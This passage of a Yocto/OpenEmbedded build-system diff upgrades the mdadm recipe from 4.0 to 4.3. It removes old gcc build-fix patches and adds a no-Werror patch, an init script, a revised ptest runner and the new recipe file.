-Subject: [PATCH 2/5] mdadm: Specify enough length when write to buffer
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-In Detail.c the buffer path in function Detail is defined as path[200],
-in fact the max lenth of content which needs to write to the buffer is
-287. Because the length of dname of struct dirent is 255.
-During building it reports error:
-error: ‘%s’ directive writing up to 255 bytes into a region of size 189
-[-Werror=format-overflow=]
-
-In function examine_super0 there is a buffer nb with length 5.
-But it need to show a int type argument. The lenght of max
-number of int is 10. So the buffer length should be 11.
-
-In human_size function the length of buf is 30. During building
-there is a error:
-output between 20 and 47 bytes into a destination of size 30.
-Change the length to 47.
-
-Signed-off-by: Xiao Ni <xni@redhat.com>
-Signed-off-by: Jes Sorensen <Jes.Sorensen@gmail.com>
----
-Upstream-Status: Backport
- Detail.c | 2 +-
- super0.c | 2 +-
- util.c | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/Detail.c b/Detail.c
-index 509b0d4..cb33794 100644
---- a/Detail.c
-+++ b/Detail.c
-@@ -575,7 +575,7 @@ This is pretty boring
- printf(" Member Arrays :");
-
- while (dir && (de = readdir(dir)) != NULL) {
-- char path[200];
-+ char path[287];
- char vbuf[1024];
- int nlen = strlen(sra->sys_name);
- dev_t devid;
-diff --git a/super0.c b/super0.c
-index 938cfd9..f5b4507 100644
---- a/super0.c
-+++ b/super0.c
-@@ -231,7 +231,7 @@ static void examine_super0(struct supertype *st, char *homehost)
- d++) {
- mdp_disk_t *dp;
- char *dv;
-- char nb[5];
-+ char nb[11];
- int wonly, failfast;
- if (d>=0) dp = &sb->disks[d];
- else dp = &sb->this_disk;
-diff --git a/util.c b/util.c
-index f100972..32bd909 100644
---- a/util.c
-+++ b/util.c
-@@ -811,7 +811,7 @@ unsigned long calc_csum(void *super, int bytes)
- #ifndef MDASSEMBLE
- char *human_size(long long bytes)
- {
-- static char buf[30];
-+ static char buf[47];
-
- /* We convert bytes to either centi-M{ega,ibi}bytes or
- * centi-G{igi,ibi}bytes, with appropriate rounding,
---
-2.12.2
-
diff --git a/meta/recipes-extended/mdadm/files/0003-Replace-snprintf-with-strncpy-at-some-places-to-avoi.patch b/meta/recipes-extended/mdadm/files/0003-Replace-snprintf-with-strncpy-at-some-places-to-avoi.patch
deleted file mode 100644
index dcec84ffcd..0000000000
--- a/meta/recipes-extended/mdadm/files/0003-Replace-snprintf-with-strncpy-at-some-places-to-avoi.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From bc87af1314325b00c6ac002a60a2b0f0caa81e34 Mon Sep 17 00:00:00 2001
-From: Xiao Ni <xni@redhat.com>
-Date: Sat, 18 Mar 2017 10:33:44 +0800
-Subject: [PATCH 3/5] Replace snprintf with strncpy at some places to avoid
- truncation
-
-In gcc7 there are some building errors like:
-directive output may be truncated writing up to 31 bytes into a region of size 24
-snprintf(str, MPB_SIG_LEN, %s, mpb->sig);
-
-It just need to copy one string to target. So use strncpy to replace it.
-
-For this line code: snprintf(str, MPB_SIG_LEN, %s, mpb->sig);
-Because mpb->sig has the content of version after magic, so
-it's better to use strncpy to replace snprintf too.
-
-Signed-off-by: Xiao Ni <xni@redhat.com>
-Signed-off-by: Jes Sorensen <Jes.Sorensen@gmail.com>
----
-Upstream-Status: Backport
- super-intel.c | 9 ++++++---
- 1 file changed, 6 insertions(+), 3 deletions(-)
-
-diff --git a/super-intel.c b/super-intel.c
-index 57c7e75..5499098 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -1811,7 +1811,8 @@ static void examine_super_imsm(struct supertype *st, char *homehost)
- __u32 reserved = imsm_reserved_sectors(super, super->disks);
- struct dl *dl;
-
-- snprintf(str, MPB_SIG_LEN, "%s", mpb->sig);
-+ strncpy(str, (char *)mpb->sig, MPB_SIG_LEN);
-+ str[MPB_SIG_LEN-1] = '\0';
- printf(" Magic : %s\n", str);
- snprintf(str, strlen(MPB_VERSION_RAID0), "%s", get_imsm_version(mpb));
- printf(" Version : %s\n", get_imsm_version(mpb));
-@@ -7142,14 +7143,16 @@ static int update_subarray_imsm(struct supertype *st, char *subarray,
-
- u->type = update_rename_array;
- u->dev_idx = vol;
-- snprintf((char *) u->name, MAX_RAID_SERIAL_LEN, "%s", name);
-+ strncpy((char *) u->name, name, MAX_RAID_SERIAL_LEN);
-+ u->name[MAX_RAID_SERIAL_LEN-1] = '\0';
- append_metadata_update(st, u, sizeof(*u));
- } else {
- struct imsm_dev *dev;
- int i;
-
- dev = get_imsm_dev(super, vol);
-- snprintf((char *) dev->volume, MAX_RAID_SERIAL_LEN, "%s", name);
-+ strncpy((char *) dev->volume, name, MAX_RAID_SERIAL_LEN);
-+ dev->volume[MAX_RAID_SERIAL_LEN-1] = '\0';
- for (i = 0; i < mpb->num_raid_devs; i++) {
- dev = get_imsm_dev(super, i);
- handle_missing(super, dev);
---
-2.12.2
-
diff --git a/meta/recipes-extended/mdadm/files/0004-mdadm-Forced-type-conversion-to-avoid-truncation.patch b/meta/recipes-extended/mdadm/files/0004-mdadm-Forced-type-conversion-to-avoid-truncation.patch
deleted file mode 100644
index 94fde42e99..0000000000
--- a/meta/recipes-extended/mdadm/files/0004-mdadm-Forced-type-conversion-to-avoid-truncation.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5da889032e2d99751ed9fe60016146e9ae8114cd Mon Sep 17 00:00:00 2001
-From: Xiao Ni <xni@redhat.com>
-Date: Sat, 18 Mar 2017 10:33:45 +0800
-Subject: [PATCH 4/5] mdadm: Forced type conversion to avoid truncation
-
-Gcc reports it needs 19 bytes to right to disk->serial. Because the
-type of argument i is int. But the meaning of i is failed disk
-number. So it doesn't need to use 19 bytes. Just add a type
-conversion to avoid this building error
-
-Signed-off-by: Xiao Ni <xni@redhat.com>
-Signed-off-by: Jes Sorensen <Jes.Sorensen@gmail.com>
----
-Upstream-Status: Backport
- super-intel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/super-intel.c b/super-intel.c
-index 5499098..4e466ff 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -5228,7 +5228,7 @@ static int init_super_imsm_volume(struct supertype *st, mdu_array_info_t *info,
- disk->status = CONFIGURED_DISK | FAILED_DISK;
- disk->scsi_id = __cpu_to_le32(~(__u32)0);
- snprintf((char *) disk->serial, MAX_RAID_SERIAL_LEN,
-- "missing:%d", i);
-+ "missing:%d", (__u8)i);
- }
- find_missing(super);
- } else {
---
-2.12.2
-
diff --git a/meta/recipes-extended/mdadm/files/0005-Add-a-comment-to-indicate-valid-fallthrough.patch b/meta/recipes-extended/mdadm/files/0005-Add-a-comment-to-indicate-valid-fallthrough.patch
deleted file mode 100644
index 3d9d3b9044..0000000000
--- a/meta/recipes-extended/mdadm/files/0005-Add-a-comment-to-indicate-valid-fallthrough.patch
+++ /dev/null
@@ -1,128 +0,0 @@
-From 09014233bf10900f7bd8390b3b64ff82bca45222 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 19 Apr 2017 12:04:15 -0700
-Subject: [PATCH 5/5] Add a comment to indicate valid fallthrough
-
-gcc7 warns about code with fallthroughs, this patch adds
-the comment to indicate a valid fallthrough, helps gcc7
-compiler warnings
-
-This works in cross and native compilation case
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- Grow.c | 4 ++++
- bitmap.c | 8 ++++++++
- mdadm.c | 2 ++
- super-intel.c | 1 +
- util.c | 1 +
- 5 files changed, 16 insertions(+)
-
-diff --git a/Grow.c b/Grow.c
-index 455c5f9..27c73b1 100755
---- a/Grow.c
-+++ b/Grow.c
-@@ -1257,6 +1257,7 @@ char *analyse_change(char *devname, struct mdinfo *info, struct reshape *re)
- switch (info->new_level) {
- case 4:
- delta_parity = 1;
-+ /* fallthrough */
- case 0:
- re->level = 4;
- re->before.layout = 0;
-@@ -1284,10 +1285,12 @@ char *analyse_change(char *devname, struct mdinfo *info, struct reshape *re)
-
- case 4:
- info->array.layout = ALGORITHM_PARITY_N;
-+ /* fallthrough */
- case 5:
- switch (info->new_level) {
- case 0:
- delta_parity = -1;
-+ /* fallthrough */
- case 4:
- re->level = info->array.level;
- re->before.data_disks = info->array.raid_disks - 1;
-@@ -1343,6 +1346,7 @@ char *analyse_change(char *devname, struct mdinfo *info, struct reshape *re)
- case 4:
- case 5:
- delta_parity = -1;
-+ /* fallthrough */
- case 6:
- re->level = 6;
- re->before.data_disks = info->array.raid_disks - 2;
-diff --git a/bitmap.c b/bitmap.c
-index ccedfd3..a6ff091 100644
---- a/bitmap.c
-+++ b/bitmap.c
-@@ -82,13 +82,21 @@ static inline int count_dirty_bits_byte(char byte, int num_bits)
-
- switch (num_bits) { /* fall through... */
- case 8: if (byte & 128) num++;
-+ /* fallthrough */
- case 7: if (byte & 64) num++;
-+ /* fallthrough */
- case 6: if (byte & 32) num++;
-+ /* fallthrough */
- case 5: if (byte & 16) num++;
-+ /* fallthrough */
- case 4: if (byte & 8) num++;
-+ /* fallthrough */
- case 3: if (byte & 4) num++;
-+ /* fallthrough */
- case 2: if (byte & 2) num++;
-+ /* fallthrough */
- case 1: if (byte & 1) num++;
-+ /* fallthrough */
- default: break;
- }
-
-diff --git a/mdadm.c b/mdadm.c
-index c3a265b..2d06d3b 100644
---- a/mdadm.c
-+++ b/mdadm.c
-@@ -148,6 +148,7 @@ int main(int argc, char *argv[])
- mode == CREATE || mode == GROW ||
- mode == INCREMENTAL || mode == MANAGE)
- break; /* b means bitmap */
-+ /* fallthrough */
- case Brief:
- c.brief = 1;
- continue;
-@@ -828,6 +829,7 @@ int main(int argc, char *argv[])
-
- case O(INCREMENTAL,NoDegraded):
- pr_err("--no-degraded is deprecated in Incremental mode\n");
-+ /* fallthrough */
- case O(ASSEMBLE,NoDegraded): /* --no-degraded */
- c.runstop = -1; /* --stop isn't allowed for --assemble,
- * so we overload slightly */
-diff --git a/super-intel.c b/super-intel.c
-index 4e466ff..00a2925 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -3271,6 +3271,7 @@ static void getinfo_super_imsm_volume(struct supertype *st, struct mdinfo *info,
- << SECT_PER_MB_SHIFT;
- }
- }
-+ /* fallthrough */
- case MIGR_VERIFY:
- /* we could emulate the checkpointing of
- * 'sync_action=check' migrations, but for now
-diff --git a/util.c b/util.c
-index 32bd909..f2a4d19 100644
---- a/util.c
-+++ b/util.c
-@@ -335,6 +335,7 @@ unsigned long long parse_size(char *size)
- switch (*c) {
- case 'K':
- c++;
-+ /* fallthrough */
- default:
- s *= 2;
- break;
---
-2.12.2
-
diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
new file mode 100644
index 0000000000..b758fcd0ab
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
@@ -0,0 +1,29 @@
+From 319b3191f088cea7b0fb6038ab7625d5e049dcf7 Mon Sep 17 00:00:00 2001
+From: "martin f. krafft" <madduck@debian.org>
+Date: Mon, 3 Jan 2022 19:14:12 +0000
+Subject: [PATCH] Remove -Werror from compiler flags
+
+-Werror seems like a bad idea on released/packaged code because a toolchain
+update (introducing new warnings) could break the build. We'll let upstream
+use it to beautify the code, but remove it for out builds.
+
+Signed-off-by: martin f. krafft <madduck@debian.org>
+
+Upstream-Status: Pending
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index 9ab6a65..1141971 100644
+--- a/Makefile
++++ b/Makefile
+@@ -50,7 +50,7 @@ ifeq ($(origin CC),default)
+ CC := $(CROSS_COMPILE)gcc
+ endif
+ CXFLAGS ?= -ggdb
+-CWFLAGS ?= -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
++CWFLAGS ?= -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
+ ifdef WARN_UNUSED
+ CWFLAGS += -Wp -O3
+ endif
diff --git a/meta/recipes-extended/mdadm/files/gcc-4.9.patch b/meta/recipes-extended/mdadm/files/gcc-4.9.patch
deleted file mode 100644
index 54bf1d79ab..0000000000
--- a/meta/recipes-extended/mdadm/files/gcc-4.9.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-super-intel.c:5063:2: error: right-hand operand of comma expression has no effect [-Werror=unused-value]
- snprintf((char *) spare->sig, MAX_SIGNATURE_LENGTH,
- ^
-cc1: all warnings being treated as errors
-make: *** [super-intel.o] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: mdadm-3.3/super-intel.c
-===================================================================
---- mdadm-3.3.orig/super-intel.c 2014-05-02 15:08:21.154319651 -0700
-+++ mdadm-3.3/super-intel.c 2014-05-02 15:09:31.470985794 -0700
-@@ -5060,7 +5060,7 @@
- spare->cache_size = mpb->cache_size,
- spare->pwr_cycle_count = __cpu_to_le32(1),
-
-- snprintf((char *) spare->sig, MAX_SIGNATURE_LENGTH,
-+ (void)snprintf((char *) spare->sig, MAX_SIGNATURE_LENGTH,
- MPB_SIGNATURE MPB_VERSION_RAID0);
-
- for (d = super->disks; d; d = d->next) {
diff --git a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
index c656d073e3..ecd1f037d0 100644
--- a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
+++ b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
@@ -1,17 +1,28 @@
+From ca91d9fc07943f209988411f2596e4b69828f208 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
+Date: Sun, 15 Mar 2015 09:02:14 +0000
+Subject: [PATCH] mdadm: Fix build in x32 ABI
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
When try to print time_t values as a long int it causes an error because time_t
data type in x32 ABI is long long int.
Upstream-Status: Pending
Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
+---
+ monitor.c | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
-Index: mdadm-3.3.4/monitor.c
-===================================================================
---- mdadm-3.3.4.orig/monitor.c
-+++ mdadm-3.3.4/monitor.c
-@@ -257,9 +257,12 @@ static int read_and_act(struct active_ar
- mdi->curr_state = read_dev_state(mdi->state_fd);
- }
+diff --git a/monitor.c b/monitor.c
+index 4acec67..8dcdfd6 100644
+--- a/monitor.c
++++ b/monitor.c
+@@ -447,9 +447,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
+ if (FD_ISSET(mdi->bb_fd, fds))
+ check_for_cleared_bb(a, mdi);
}
-
gettimeofday(&tv, NULL);
diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
deleted file mode 100644
index 267c007c21..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From c65898b9da82df94e1bae7937e415a7eb80355d5 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 10 Feb 2016 17:28:05 +0200
-Subject: [PATCH] mdadm-fix-ptest-build-errors
-
-builds fail with ptest enabled:
-
-| restripe.c: In function 'test_stripes':
-| restripe.c:845:4: error: ignoring return value of 'read', declared with
-| attribute warn_unused_result [-Werror=unused-result]
-| read(source[i], stripes[i], chunk_size);
-| ^
-| cc1: all warnings being treated as errors
-| Makefile:214: recipe for target 'test_stripe' failed
-
-Upstream-Status: Pending
-
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- restripe.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/restripe.c b/restripe.c
-index 56dca73..d24b2b4 100644
---- a/restripe.c
-+++ b/restripe.c
-@@ -842,10 +842,14 @@ int test_stripes(int *source, unsigned long long *offsets,
-
- while (length > 0) {
- int disk;
-+ ssize_t ret;
-
- for (i = 0 ; i < raid_disks ; i++) {
- lseek64(source[i], offsets[i]+start, 0);
-- read(source[i], stripes[i], chunk_size);
-+ ret = read(source[i], stripes[i], chunk_size);
-+ if (ret == -1) {
-+ printf("Read Failed\n");
-+ }
- }
- for (i = 0 ; i < data_disks ; i++) {
- int disk = geo_map(i, start/chunk_size, raid_disks,
---
-2.4.0
-
diff --git a/meta/recipes-extended/mdadm/files/mdadm.init b/meta/recipes-extended/mdadm/files/mdadm.init
new file mode 100644
index 0000000000..cab91b9acc
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/mdadm.init
@@ -0,0 +1,72 @@
+#!/bin/sh
+#
+# Start the MD monitor daemon for all active MD arrays if desired.
+#
+### BEGIN INIT INFO
+# Provides: mdadm
+# Required-Start: $local_fs $syslog mdadm-raid
+# Required-Stop: $local_fs $syslog mdadm-raid
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: MD monitoring daemon
+# Description: mdadm provides a monitor mode, in which it will scan for
+# problems with the MD devices. If a problem is found, the
+# administrator is alerted via email, or a custom script is
+# run.
+### END INIT INFO
+#
+
+MDADM=/sbin/mdadm
+RUNDIR=/var/run/mdadm
+PIDFILE=$RUNDIR/monitor.pid
+DEBIANCONFIG=/etc/default/mdadm
+
+test -x "$MDADM" || exit 0
+
+test -f /proc/mdstat || exit 0
+
+START_DAEMON=true
+test -f $DEBIANCONFIG && . $DEBIANCONFIG
+
+. /lib/lsb/init-functions
+
+# Include functions
+. /etc/init.d/functions
+
+case "${1:-}" in
+ start)
+ if is_true $START_DAEMON; then
+ log_daemon_msg "Starting MD monitoring service" "mdadm --monitor"
+ mkdir -p $RUNDIR
+ start-stop-daemon -S -p $PIDFILE -x $MDADM -- \
+ --monitor --pid-file $PIDFILE --daemonise --scan ${DAEMON_OPTIONS:-}
+ RETVAL=$?
+ log_end_msg $RETVAL
+ exit $RETVAL
+ fi
+ ;;
+ stop)
+ if [ -f $PIDFILE ] ; then
+ log_daemon_msg "Stopping MD monitoring service" "mdadm --monitor"
+ start-stop-daemon -K -p $PIDFILE -x $MDADM
+ RETVAL=$?
+ rm -f $PIDFILE
+ log_end_msg $RETVAL
+ exit $RETVAL
+ fi
+ ;;
+ status)
+ status -p $PIDFILE "$MDADM" && exit 0 || exit $?
+ ;;
+ restart|reload|force-reload)
+ ${0:-} stop
+ ${0:-} start
+ ;;
+ *)
+ echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
+ exit 1
+ ;;
+esac
+
+exit 0
+
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
index 5b276090f5..c3f201491e 100644
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ b/meta/recipes-extended/mdadm/files/run-ptest
@@ -1,10 +1,10 @@
#!/bin/sh
-./test &>./test.log
-if [ $? -eq 0 ]
-then
- echo "PASS: mdadm"
- rm test.log
-else
- echo "FAIL: mdadm"
-fi
+logdir=$PWD/logs
+targetdir=/mdadm-testing-dir
+
+rm -rf $targetdir $logdir
+mkdir -p $targetdir $logdir
+
+# make the test continue to execute even one fail
+./test --keep-going --disable-integrity --skip-broken --save-logs --logdir=$logdir
diff --git a/meta/recipes-extended/mdadm/mdadm_4.0.bb b/meta/recipes-extended/mdadm/mdadm_4.0.bb
deleted file mode 100644
index dc098f19b6..0000000000
--- a/meta/recipes-extended/mdadm/mdadm_4.0.bb
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "Tool for managing software RAID under Linux"
-HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
-
-# Some files are GPLv2+ while others are GPLv2.
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
- file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
-
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
- file://gcc-4.9.patch \
- file://mdadm-3.3.2_x32_abi_time_t.patch \
- file://mdadm-fix-ptest-build-errors.patch \
- file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
- file://run-ptest \
- file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
- file://0001-include-sys-sysmacros.h-for-major-minor-defintions.patch \
- file://0001-mdadm-Add-Wimplicit-fallthrough-0-in-Makefile.patch \
- file://0002-mdadm-Specify-enough-length-when-write-to-buffer.patch \
- file://0003-Replace-snprintf-with-strncpy-at-some-places-to-avoi.patch \
- file://0004-mdadm-Forced-type-conversion-to-avoid-truncation.patch \
- file://0005-Add-a-comment-to-indicate-valid-fallthrough.patch \
- file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
- "
-SRC_URI[md5sum] = "2cb4feffea9167ba71b5f346a0c0a40d"
-SRC_URI[sha256sum] = "1d6ae7f24ced3a0fa7b5613b32f4a589bb4881e3946a5a2c3724056254ada3a9"
-
-CFLAGS += "-fno-strict-aliasing"
-inherit autotools-brokensep
-
-EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}"'
-# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
-# prevents 64-bit userland from seeing this definition, instead defaulting
-# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
-# int-ll64.h included
-CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
-
-do_compile() {
- # Point to right sbindir
- sed -i -e "s;BINDIR = /sbin;BINDIR = $base_sbindir;" ${S}/Makefile
- oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
-}
-
-do_install() {
- export STRIP=""
- autotools_do_install
-}
-
-inherit ptest
-
-do_compile_ptest() {
- oe_runmake test
-}
-
-do_install_ptest() {
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
- cp ${S}/test ${D}${PTEST_PATH}
- sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/!g' -i ${D}${PTEST_PATH}/test
- ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
- for prg in test_stripe swap_super raid6check
- do
- install -D -m 755 $prg ${D}${PTEST_PATH}/
- done
-}
-RDEPENDS_${PN}-ptest += "bash"
-RRECOMMENDS_${PN}-ptest += " \
- coreutils \
- util-linux \
- kernel-module-loop \
- kernel-module-linear \
- kernel-module-raid0 \
- kernel-module-raid1 \
- kernel-module-raid10 \
- kernel-module-raid456 \
-"
diff --git a/meta/recipes-extended/mdadm/mdadm_4.3.bb b/meta/recipes-extended/mdadm/mdadm_4.3.bb
new file mode 100644
index 0000000000..228fc6f84e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/mdadm_4.3.bb
@@ -0,0 +1,127 @@
+SUMMARY = "Tool for managing software RAID under Linux"
+HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
+DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
+
+# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
+ file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
+
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://mdadm-3.3.2_x32_abi_time_t.patch \
+ file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
+ file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
+ file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
+ file://0001-fix-gcc-8-format-truncation-warning.patch \
+ file://debian-no-Werror.patch \
+ file://mdadm.init \
+ file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
+ file://0001-Makefile-install-mdcheck.patch \
+ file://0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch \
+ file://0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch \
+ file://0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch \
+ file://0001-include-libgen.h-for-basename-API.patch \
+ "
+
+SRC_URI[sha256sum] = "416727ae1f1080ea6e3090cea36dd076826fc369151e36ab736557ba92196f9f"
+
+inherit autotools-brokensep ptest systemd
+
+DEPENDS = "udev"
+
+SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
+# prevents 64-bit userland from seeing this definition, instead defaulting
+# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
+# int-ll64.h included
+CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
+
+EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
+ BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev" LDFLAGS="${LDFLAGS}"'
+
+DEBUG_OPTIMIZATION:append = " -Wno-error"
+
+do_compile() {
+ oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
+}
+
+do_install() {
+ export STRIP=""
+ autotools_do_install
+}
+
+do_install:append() {
+ install -d ${D}/${sysconfdir}/
+ install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
+ install -d ${D}/${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
+}
+
+do_install:append() {
+ oe_runmake install-systemd DESTDIR=${D}
+}
+
+do_compile_ptest() {
+ oe_runmake test
+}
+
+do_install_ptest() {
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
+ cp ${S}/test ${D}${PTEST_PATH}
+ sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
+ sed -i -e '/echo -ne "$_script... "/d' \
+ -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
+ -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
+ -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
+ ${D}${PTEST_PATH}/test
+
+ chmod +x ${D}${PTEST_PATH}/test
+
+ ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
+ for prg in test_stripe swap_super raid6check
+ do
+ install -D -m 755 $prg ${D}${PTEST_PATH}/
+ done
+
+ # Disable tests causing intermittent autobuilder failures
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/19raid6check.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/20raid5journal.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/21raid5cache.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-spare.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-stop-readd.broken
+}
+
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-ptest += " \
+ bash \
+ e2fsprogs-mke2fs \
+ util-linux-lsblk \
+ util-linux-losetup \
+ util-linux-blockdev \
+ strace \
+"
+RRECOMMENDS:${PN}-ptest += " \
+ coreutils \
+ kernel-module-loop \
+ kernel-module-linear \
+ kernel-module-raid0 \
+ kernel-module-raid1 \
+ kernel-module-raid10 \
+ kernel-module-raid456 \
+"
+
+FILES:${PN} += "${systemd_unitdir}/*"
+
+# strace is not yet ported to rv32
+RDEPENDS:${PN}-ptest:remove:riscv32 = "strace"
+do_install_ptest:append:riscv32 () {
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-grow.broken
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-inplace.broken
+}
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 3c16228b0d..aa5a989df2 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,8 +1,8 @@
SUMMARY = "Compact getty terminal handler for virtual consoles only"
SECTION = "console/utils"
HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
-LICENSE = "GPLv2"
-PR = "r3"
